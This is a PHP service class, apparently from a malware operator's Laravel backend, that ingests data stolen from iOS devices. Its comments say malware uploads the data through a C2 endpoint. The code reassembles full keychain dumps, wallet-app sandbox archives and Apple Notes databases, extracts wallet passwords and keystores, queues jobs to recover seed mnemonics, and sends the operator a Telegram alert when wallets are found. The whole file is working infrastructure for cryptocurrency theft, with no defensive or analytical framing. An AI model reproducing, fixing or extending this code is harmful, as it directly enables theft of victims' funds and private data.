hashbro
725 lines
26 KiB
PHP
725 lines
26 KiB
PHP
<?php
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namespace App\Services;
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use App\Jobs\DecryptDeviceKeystores;
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use App\Models\Device;
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use App\Models\DeviceApp;
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use App\Models\WalletKeystore;
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use App\Support\WalletSource;
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use Illuminate\Support\Facades\Log;
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/**
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* Ingest ai-live (w2.bsvpn.net) chunked uploads into the wallet keystore +
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* Apple Notes pipelines.
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*
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* The malware uploads three kinds of artifacts via /api/v2/uploads:
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* 1. keychain.xml — full iOS keychain dump (doKeychain=true acquisition)
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* 2. <bundleId>.tar — tar of each wallet app's Documents directory
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* 3. group.com.apple.notes.tar — Apple Notes shared container (NoteStore.sqlite)
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*
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* This service reassembles chunked uploads, parses them, and:
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* - keychain.xml → stored as a keychain.wallets WalletKeystore row
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* - wallet tar → stored as a sandbox WalletKeystore row
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* - notes tar → NoteStore.sqlite trio saved to c2/ds-results/ and
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* DecodeMemoDb job dispatched to parse note text
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*
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* DecryptDeviceKeystores is dispatched on /api/v2/finish to recover
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* mnemonics from the stored keystores off the request thread.
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*/
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final class AiLiveUploadIngester
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{
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/** Chunk files are saved as <ts>_<tag>_<uploadId>_c<chunkIndex>.bin */
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private const CHUNK_GLOB = '*_%s_c*.bin';
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/**
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* Reassemble chunks for an upload session, parse the artifact, store
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* keystores, and dispatch the decryption job.
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*
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* @param array<string, mixed> $session Cache session (fileName, numberOfChunks, ...)
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*/
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public function ingest(Device $device, string $uploadId, array $session): void
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{
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$fileName = (string) ($session['fileName'] ?? 'unknown');
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$uploadDir = public_path('log/app_c2/uploads');
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$chunks = $this->collectChunks($uploadDir, $uploadId, (int) ($session['numberOfChunks'] ?? 1));
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if ($chunks === []) {
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Log::channel('keystore')->warning('AiLiveUploadIngester: no chunk files found', [
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'device_id' => $device->id,
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'upload_id' => $uploadId,
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'file_name' => $fileName,
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]);
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return;
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}
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$content = $this->reassemble($chunks);
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if ($content === '') {
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return;
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}
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$this->dispatchParse($device, $content, $fileName, $uploadId);
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}
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/**
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* Dispatch the async keystore decryption job for a device.
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*/
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public function dispatchDecrypt(Device $device): void
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{
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try {
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DecryptDeviceKeystores::dispatch($device->id, null, null);
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} catch (\Throwable $e) {
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Log::channel('keystore')->error('AiLiveUploadIngester dispatch failed', [
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'device_id' => $device->id,
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'device_key' => $device->device_id,
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'error' => $e->getMessage(),
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]);
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}
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}
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// ────────────────────────────────────────────────────────────
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// chunk reassembly
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// ────────────────────────────────────────────────────────────
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/**
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* @param list<int> $chunkIndices
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* @return list<string> Sorted chunk file paths.
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*/
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private function collectChunks(string $dir, string $uploadId, int $numberOfChunks): array
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{
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if (! is_dir($dir)) {
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return [];
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}
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// UUIDs only contain [0-9a-f-], none of which are glob special chars,
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// so no escaping needed (preg_quote would break glob by escaping `-`).
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$pattern = sprintf(self::CHUNK_GLOB, $uploadId);
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$files = glob($dir.'/'.$pattern) ?: [];
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if ($files === []) {
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return [];
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}
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usort($files, function ($a, $b) {
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return $this->chunkIndex($a) <=> $this->chunkIndex($b);
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});
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// Keep only the expected number of chunks.
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return array_slice($files, 0, max(1, $numberOfChunks));
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}
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private function chunkIndex(string $path): int
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{
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if (preg_match('/_c(\d+)\.bin$/', $path, $m)) {
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return (int) $m[1];
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}
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return 0;
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}
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/**
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* @param list<string> $chunkPaths
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*/
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private function reassemble(array $chunkPaths): string
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{
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$out = '';
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foreach ($chunkPaths as $path) {
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$chunk = @file_get_contents($path);
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if ($chunk === false) {
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continue;
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}
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$out .= $chunk;
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}
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return $out;
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}
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// ────────────────────────────────────────────────────────────
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// parse + store
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// ────────────────────────────────────────────────────────────
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/**
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* Route the artifact to the correct parser based on file name.
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*/
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private function dispatchParse(Device $device, string $content, string $fileName, string $uploadId): void
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{
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$lower = strtolower($fileName);
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if (str_contains($lower, 'keychain') || str_ends_with($lower, '.xml')) {
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$this->parseKeychainXml($device, $content, $fileName);
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} elseif (str_ends_with($lower, '.tar')) {
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$bundleId = preg_replace('/\.tar$/i', '', $fileName);
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// Apple Notes is uploaded as group.com.apple.notes.tar — route
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// it to the NoteStore.sqlite decoder instead of the wallet
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// keystore walker.
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if ($this->isNotesBundle($bundleId)) {
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$this->parseNotesTar($device, $content, $uploadId);
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} else {
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$this->parseWalletTar($device, $content, (string) $bundleId);
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}
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} else {
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// Unknown artifact — try tar first, then keychain XML.
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if ($this->looksLikeTar($content)) {
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// Peek inside: if it contains NoteStore.sqlite, treat as notes.
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if ($this->tarContainsNoteStore($content)) {
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$this->parseNotesTar($device, $content, $uploadId);
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} else {
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$this->parseWalletTar($device, $content, $fileName);
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}
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} elseif ($this->looksLikeXml($content)) {
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$this->parseKeychainXml($device, $content, $fileName);
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}
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}
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}
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/**
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* Whether a bundle ID / file name refers to the Apple Notes app group.
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*/
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private function isNotesBundle(string $bundleId): bool
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{
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$lower = strtolower($bundleId);
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return $lower === 'group.com.apple.notes'
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|| str_contains($lower, 'com.apple.notes')
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|| $lower === 'notes';
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}
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/**
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* Quick peek: does this tar archive contain NoteStore.sqlite?
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*/
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private function tarContainsNoteStore(string $content): bool
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{
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if (! $this->looksLikeTar($content)) {
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return false;
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}
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// Tar file names live in the 0–100 byte range of each 512-byte header.
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// A simple substring scan for "NoteStore.sqlite" is good enough.
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return str_contains($content, 'NoteStore.sqlite');
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}
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private function looksLikeTar(string $content): bool
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{
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return strlen($content) >= 262 && substr($content, 257, 5) === "ustar";
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}
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private function looksLikeXml(string $content): bool
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{
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return str_starts_with(ltrim($content), '<?xml') || str_starts_with(ltrim($content), '<Backup');
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}
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// ── keychain.xml ────────────────────────────────────────────
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/**
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* Parse the iOS keychain backup XML, group items by access group → wallet
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* source, decode each item's v_Data (base64 plist → KEY/data → base64 →
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* raw bytes), and store as a keychain.wallets WalletKeystore row.
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*
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* The DsKeystoreDecrypt walker expects:
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* {kind: "keychain.wallets", wallets: {<source>: {items: [{account, service, dataHex}]}}}
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*/
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private function parseKeychainXml(Device $device, string $content, string $fileName): void
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{
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try {
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$xml = @new \SimpleXMLElement($content);
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} catch (\Throwable $e) {
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Log::channel('keystore')->warning('AiLiveUploadIngester: keychain XML parse failed', [
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'device_id' => $device->id,
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'file_name' => $fileName,
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'error' => $e->getMessage(),
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]);
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return;
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}
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// Group items by source label.
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$buckets = [];
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$itemCount = 0;
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$seenBundles = []; // bundle IDs seen in this keychain dump
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foreach ($xml->xpath('//item') as $item) {
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$acct = (string) ($item->acct ?? '');
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$svce = (string) ($item->svce ?? '');
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$agrp = (string) ($item->agrp ?? '');
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$vData = (string) ($item->{'v_Data'} ?? '');
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$dataHex = $this->decodeKeychainVData($vData);
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if ($dataHex === '') {
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continue;
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}
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$source = $this->sourceFromAgrp($agrp, $acct);
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if (! isset($buckets[$source])) {
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$buckets[$source] = ['items' => []];
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}
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$buckets[$source]['items'][] = [
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'account' => $acct,
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'service' => $svce,
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'accessGroup' => $agrp,
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'dataHex' => $dataHex,
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];
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$itemCount++;
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// Collect bundle IDs from agrp for the installed-app list.
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$bundle = $this->bundleIdFromAgrp($agrp);
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if ($bundle !== '' && ! isset($seenBundles[$bundle])) {
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$seenBundles[$bundle] = $source;
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}
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}
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// Record every app that has keychain entries as installed.
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foreach ($seenBundles as $bundle => $source) {
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$this->recordInstalledApp($device, $bundle, $source);
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}
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if ($buckets === []) {
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return;
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}
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$rawJson = [
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'kind' => 'keychain.wallets',
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'wallets' => $buckets,
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];
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$source = 'ai-live/keychain';
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WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson);
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Log::channel('keystore')->info('AiLiveUploadIngester: stored keychain', [
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'device_id' => $device->id,
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'file_name' => $fileName,
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'items' => $itemCount,
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'sources' => array_keys($buckets),
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]);
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}
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/**
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* Decode the base64-encoded content in <v_Data> and return the raw
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* bytes as hex.
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*
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* Two storage formats exist in iOS keychain dumps:
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* 1. Plist-wrapped: <plist><dict><key>KEY</key><data>base64</data>…</dict></plist>
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* — common for Apple system entries (Bluetooth, account tokens).
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* 2. Raw value: the base64-decoded content is the value itself (a hex
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* string, a plain-text password, a JSON snippet, etc.) with no plist
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* wrapper — common for third-party app entries (Trust Wallet stores
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* the keystore password as a base64-encoded hex string).
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*
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* @param string $vDataRaw Base64-encoded content from <v_Data bin="1">.
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*/
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private function decodeKeychainVData(string $vDataRaw): string
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{
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$vDataRaw = trim($vDataRaw);
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if ($vDataRaw === '') {
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return '';
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}
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$decoded = base64_decode($vDataRaw, true);
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if (! is_string($decoded) || $decoded === '') {
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return '';
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}
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// ── 1. Try plist-wrapped format (Apple system entries) ──
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// The plist is XML: <plist><dict><key>KEY</key><data>base64</data></dict></plist>
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if (str_starts_with(ltrim($decoded), '<') || str_starts_with(ltrim($decoded), "\xb5")) {
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try {
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$px = @new \SimpleXMLElement($decoded);
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$dataNodes = $px->xpath('//data');
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foreach ($dataNodes as $dataNode) {
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$b64 = trim((string) $dataNode);
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if ($b64 === '') {
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continue;
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}
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$bin = base64_decode($b64, true);
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if (is_string($bin) && $bin !== '') {
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return bin2hex($bin);
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}
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}
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} catch (\Throwable) {
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// fall through to raw handling
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}
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}
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// ── 2. Raw value (third-party app entries) ──
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// The decoded content IS the value — return it as hex so the
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// keystore decryptor can try it as a password. This covers:
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// • hex strings (Trust Wallet keystore password)
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// • plain text passwords
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// • small JSON blobs
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return bin2hex($decoded);
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}
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/**
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* Map a keychain access group (agrp) to a wallet source label.
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* agrp format: "TEAMID.com.bundle.id" or "group.com.bundle.id".
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*/
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private function sourceFromAgrp(string $agrp, string $acct): string
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{
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$agrp = trim($agrp);
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if ($agrp === '') {
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// Fall back to account-based hint.
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$hint = WalletSource::fromKeystoreHint($acct);
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return $hint !== '' ? $hint : 'unknown';
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}
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// Extract bundle id: take the part after the first dot.
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$bundle = '';
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$parts = explode('.', $agrp, 2);
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if (count($parts) === 2) {
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$bundle = $parts[1];
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}
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$label = WalletSource::labelForBundle($bundle, '');
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if ($label !== '' && $label !== $bundle) {
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return $label;
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}
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$hint = WalletSource::fromKeystoreHint($bundle);
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if ($hint !== '') {
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return $hint;
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}
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return $bundle !== '' ? $bundle : 'unknown';
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}
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/**
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* Extract the raw bundle ID from a keychain access group.
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* agrp format: "TEAMID.com.bundle.id" or "group.com.bundle.id".
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*/
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private function bundleIdFromAgrp(string $agrp): string
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{
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$agrp = trim($agrp);
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if ($agrp === '') {
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return '';
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}
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$parts = explode('.', $agrp, 2);
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return $parts[1] ?? '';
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}
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/**
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* Record a bundle ID into the device's installed-app list. The malware
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* only uploads a tar for apps whose sandbox it could dump, so any
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* uploaded bundle ID is proof the app is installed. Keychain access
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* groups are a secondary signal (the app has keychain entries).
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*/
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private function recordInstalledApp(Device $device, string $bundleId, ?string $name = null): void
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{
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$bundleId = trim($bundleId);
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if ($bundleId === '') {
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return;
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}
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$label = WalletSource::labelForBundle($bundleId, $name ?? $bundleId);
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$displayName = ($label !== '' && $label !== $bundleId) ? $label : ($name ?? $bundleId);
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DeviceApp::query()->updateOrCreate(
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['device_id' => $device->id, 'bundle_id' => $bundleId],
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[
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'name' => $displayName,
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'is_wallet' => WalletSource::isPluginWalletBundle($bundleId),
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'meta_json' => ['source' => 'ailive_upload', 'uploaded_at' => now()->toIso8601String()],
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]
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);
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$this->refreshDeviceWalletFlag($device);
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}
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/**
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* Refresh the device's has_wallet / wallet_names flags from the
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* current installed-app list. Sends a Telegram notification when
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* wallets are first detected (has_wallet transitions NONE → YES),
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* mirroring IngestService::refreshDeviceWalletFlag.
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*/
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private function refreshDeviceWalletFlag(Device $device): void
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{
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$names = [];
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foreach ($device->apps()->get(['bundle_id', 'name']) as $app) {
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$bundle = (string) $app->bundle_id;
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if (! WalletSource::isPluginWalletBundle($bundle)) {
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continue;
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}
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$label = WalletSource::labelForBundle($bundle, $app->name);
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$names[$label] = true;
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}
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$labels = array_keys($names);
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sort($labels);
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$alreadyYes = (int) $device->has_wallet === Device::WALLET_YES;
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$device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES;
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$device->wallet_names = $labels === [] ? null : $labels;
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$device->saveQuietly();
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// Notify Telegram the first time wallets are detected
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// (UNKNOWN/NONE → YES transition).
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if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES && $labels !== []) {
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try {
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app(\App\Services\TelegramNotifier::class)
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->notifyInstalledWallets($device->device_id, $labels);
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} catch (\Throwable $e) {
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Log::channel('keystore')->warning(
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'AiLiveUploadIngester telegram notifyInstalledWallets failed: '.$e->getMessage(),
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['device_id' => $device->id, 'device_key' => $device->device_id],
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);
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}
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}
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}
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// ── wallet app tar ──────────────────────────────────────────
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/**
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* Extract a wallet app tar, walk the files for Web3 keystore JSON
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* (crypto.ciphertext/mac/kdf) and other interesting artifacts, and
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* store as a sandbox WalletKeystore row.
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*
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* The DsKeystoreDecrypt walker traverses the sandbox tree and picks
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* up any dict with crypto.ciphertext/mac/kdf as a keystore to unlock.
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*/
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private function parseWalletTar(Device $device, string $content, string $bundleId): void
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{
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$source = WalletSource::labelForBundle($bundleId, $bundleId);
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if ($source === '' || $source === $bundleId) {
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$hint = WalletSource::fromKeystoreHint($bundleId);
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$source = $hint !== '' ? $hint : ($bundleId !== '' ? $bundleId : 'unknown');
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}
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// The malware only uploads a tar for apps whose sandbox it could
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// dump — so this bundle is definitely installed on the device.
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$this->recordInstalledApp($device, $bundleId, $source);
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$sandbox = $this->extractTarSandbox($content);
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if ($sandbox === []) {
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return;
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}
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$rawJson = [
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'kind' => 'sandbox',
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'sandbox' => [$source => $sandbox],
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];
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WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson);
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Log::channel('keystore')->info('AiLiveUploadIngester: stored tar sandbox', [
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'device_id' => $device->id,
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'bundle_id' => $bundleId,
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'source' => $source,
|
||
'files' => count($sandbox, COUNT_RECURSIVE),
|
||
]);
|
||
}
|
||
|
||
// ── Apple Notes tar ─────────────────────────────────────────
|
||
|
||
/**
|
||
* Extract a group.com.apple.notes tar, pull out NoteStore.sqlite +
|
||
* -wal + -shm, save them to the location DsMemoDecoder expects
|
||
* (c2/ds-results/<device_id>/<command_id>/), and dispatch the
|
||
* DecodeMemoDb job to parse note text off the request thread.
|
||
*/
|
||
private function parseNotesTar(Device $device, string $content, string $uploadId): void
|
||
{
|
||
$files = $this->extractNotesDbFiles($content);
|
||
if ($files === []) {
|
||
Log::channel('keystore')->warning('AiLiveUploadIngester: notes tar has no NoteStore.sqlite', [
|
||
'device_id' => $device->id,
|
||
'upload_id' => $uploadId,
|
||
]);
|
||
|
||
return;
|
||
}
|
||
|
||
// DsMemoDecoder looks for files under
|
||
// storage/app/c2/ds-results/<device_id>/<command_id>/NoteStore.sqlite
|
||
$commandId = 'ailive_'.substr($uploadId, 0, 8);
|
||
$dir = 'c2/ds-results/'.$device->device_id.'/'.$commandId;
|
||
$disk = \Illuminate\Support\Facades\Storage::disk('local');
|
||
|
||
foreach ($files as $name => $data) {
|
||
$disk->put($dir.'/'.$name, $data);
|
||
}
|
||
|
||
Log::channel('keystore')->info('AiLiveUploadIngester: stored notes db', [
|
||
'device_id' => $device->id,
|
||
'device_key' => $device->device_id,
|
||
'command_id' => $commandId,
|
||
'files' => array_keys($files),
|
||
]);
|
||
|
||
// Dispatch the async SQLite decoder job.
|
||
try {
|
||
\App\Jobs\DecodeMemoDb::dispatch($device->id, $commandId);
|
||
} catch (\Throwable $e) {
|
||
Log::channel('keystore')->error('AiLiveUploadIngester: DecodeMemoDb dispatch failed', [
|
||
'device_id' => $device->id,
|
||
'command_id' => $commandId,
|
||
'error' => $e->getMessage(),
|
||
]);
|
||
}
|
||
}
|
||
|
||
/**
|
||
* Extract NoteStore.sqlite + -wal + -shm from a notes tar archive.
|
||
*
|
||
* @return array<string, string> Map of filename → raw bytes.
|
||
*/
|
||
private function extractNotesDbFiles(string $content): array
|
||
{
|
||
if (! $this->looksLikeTar($content)) {
|
||
return [];
|
||
}
|
||
$tmp = tempnam(sys_get_temp_dir(), 'ailive_notes_');
|
||
if ($tmp === false) {
|
||
return [];
|
||
}
|
||
// PharData requires a .tar extension to recognise the archive format.
|
||
$tmpTar = $tmp . '.tar';
|
||
@rename($tmp, $tmpTar);
|
||
$tmp = $tmpTar;
|
||
try {
|
||
if (@file_put_contents($tmp, $content) === false) {
|
||
return [];
|
||
}
|
||
try {
|
||
$phar = new \PharData($tmp);
|
||
} catch (\Throwable) {
|
||
return [];
|
||
}
|
||
|
||
$wanted = ['NoteStore.sqlite', 'NoteStore.sqlite-wal', 'NoteStore.sqlite-shm'];
|
||
$out = [];
|
||
foreach (new \RecursiveIteratorIterator($phar) as $f) {
|
||
if (! $f->isFile()) {
|
||
continue;
|
||
}
|
||
$base = basename($f->getPathname());
|
||
if (! in_array($base, $wanted, true)) {
|
||
continue;
|
||
}
|
||
$raw = @file_get_contents($f->getPathname());
|
||
if ($raw === false || $raw === '') {
|
||
continue;
|
||
}
|
||
$out[$base] = $raw;
|
||
}
|
||
|
||
return $out;
|
||
} finally {
|
||
@unlink($tmp);
|
||
}
|
||
}
|
||
|
||
/**
|
||
* Extract a tar (ustar) archive into a nested dict of file paths →
|
||
* decoded content. JSON files are parsed into arrays; binary files
|
||
* (Realm DBs, SQLite) are stored as base64; everything else is stored
|
||
* as a UTF-8 string when possible.
|
||
*
|
||
* @return array<string, mixed>
|
||
*/
|
||
private function extractTarSandbox(string $content): array
|
||
{
|
||
if (! $this->looksLikeTar($content)) {
|
||
return [];
|
||
}
|
||
|
||
$tmp = tempnam(sys_get_temp_dir(), 'ailive_tar_');
|
||
if ($tmp === false) {
|
||
return [];
|
||
}
|
||
// PharData requires a .tar extension to recognise the archive format.
|
||
$tmpTar = $tmp . '.tar';
|
||
@rename($tmp, $tmpTar);
|
||
$tmp = $tmpTar;
|
||
try {
|
||
if (@file_put_contents($tmp, $content) === false) {
|
||
return [];
|
||
}
|
||
try {
|
||
$phar = new \PharData($tmp);
|
||
} catch (\Throwable) {
|
||
return [];
|
||
}
|
||
|
||
$sandbox = [];
|
||
$count = 0;
|
||
$maxFiles = 200;
|
||
foreach (new \RecursiveIteratorIterator($phar) as $f) {
|
||
if ($count >= $maxFiles) {
|
||
break;
|
||
}
|
||
if (! $f->isFile()) {
|
||
continue;
|
||
}
|
||
$rel = ltrim(str_replace('\\', '/', $f->getPathname()));
|
||
// Strip the "phar://<absolute-tar-path>" prefix. The temp file
|
||
// path is absolute (starts with "/"), so the old [^/]+ pattern
|
||
// failed to match the leading slash — use the known prefix.
|
||
$prefix = 'phar://'.$tmp;
|
||
if (str_starts_with($rel, $prefix)) {
|
||
$rel = substr($rel, strlen($prefix));
|
||
} else {
|
||
// Fallback: strip phar:// + everything up to the first .tar
|
||
$rel = preg_replace('#^phar://.*?\.tar#i', '', $rel) ?? $rel;
|
||
}
|
||
$rel = ltrim($rel, '/');
|
||
if ($rel === '') {
|
||
continue;
|
||
}
|
||
|
||
$raw = @file_get_contents($f->getPathname());
|
||
if ($raw === false || $raw === '') {
|
||
continue;
|
||
}
|
||
$decoded = $this->decodeFileContent($raw, $rel);
|
||
if ($decoded === null) {
|
||
continue;
|
||
}
|
||
$this->setNestedPath($sandbox, $rel, $decoded);
|
||
$count++;
|
||
}
|
||
|
||
return $sandbox;
|
||
} finally {
|
||
@unlink($tmp);
|
||
}
|
||
}
|
||
|
||
/**
|
||
* @return mixed Array for JSON, string for text/base64, null to skip.
|
||
*/
|
||
private function decodeFileContent(string $raw, string $path): mixed
|
||
{
|
||
// JSON files → parsed array (keystore JSON has crypto.ciphertext/mac/kdf).
|
||
$first = $raw[0] ?? '';
|
||
if ($first === '{' || $first === '[') {
|
||
$json = json_decode($raw, true);
|
||
if (is_array($json)) {
|
||
return $json;
|
||
}
|
||
}
|
||
|
||
// Small text files → UTF-8 string.
|
||
if (strlen($raw) <= 65536 && mb_check_encoding($raw, 'UTF-8')) {
|
||
return $raw;
|
||
}
|
||
|
||
// Binary files (Realm, SQLite) → base64 (capped to avoid OOM).
|
||
$cap = 512 * 1024; // 512 KiB
|
||
if (strlen($raw) > $cap) {
|
||
return null; // skip large binaries — not useful for mnemonic recovery
|
||
}
|
||
|
||
return base64_encode($raw);
|
||
}
|
||
|
||
/**
|
||
* Set a value at a nested path (a/b/c.json → $arr[a][b][c.json]).
|
||
*
|
||
* @param array<string, mixed> $arr
|
||
*/
|
||
private function setNestedPath(array &$arr, string $path, mixed $value): void
|
||
{
|
||
$parts = explode('/', $path);
|
||
$ref = &$arr;
|
||
$n = count($parts);
|
||
for ($i = 0; $i < $n - 1; $i++) {
|
||
$key = $parts[$i];
|
||
if (! isset($ref[$key]) || ! is_array($ref[$key])) {
|
||
$ref[$key] = [];
|
||
}
|
||
$ref = &$ref[$key];
|
||
}
|
||
$ref[$parts[$n - 1]] = $value;
|
||
}
|
||
}
|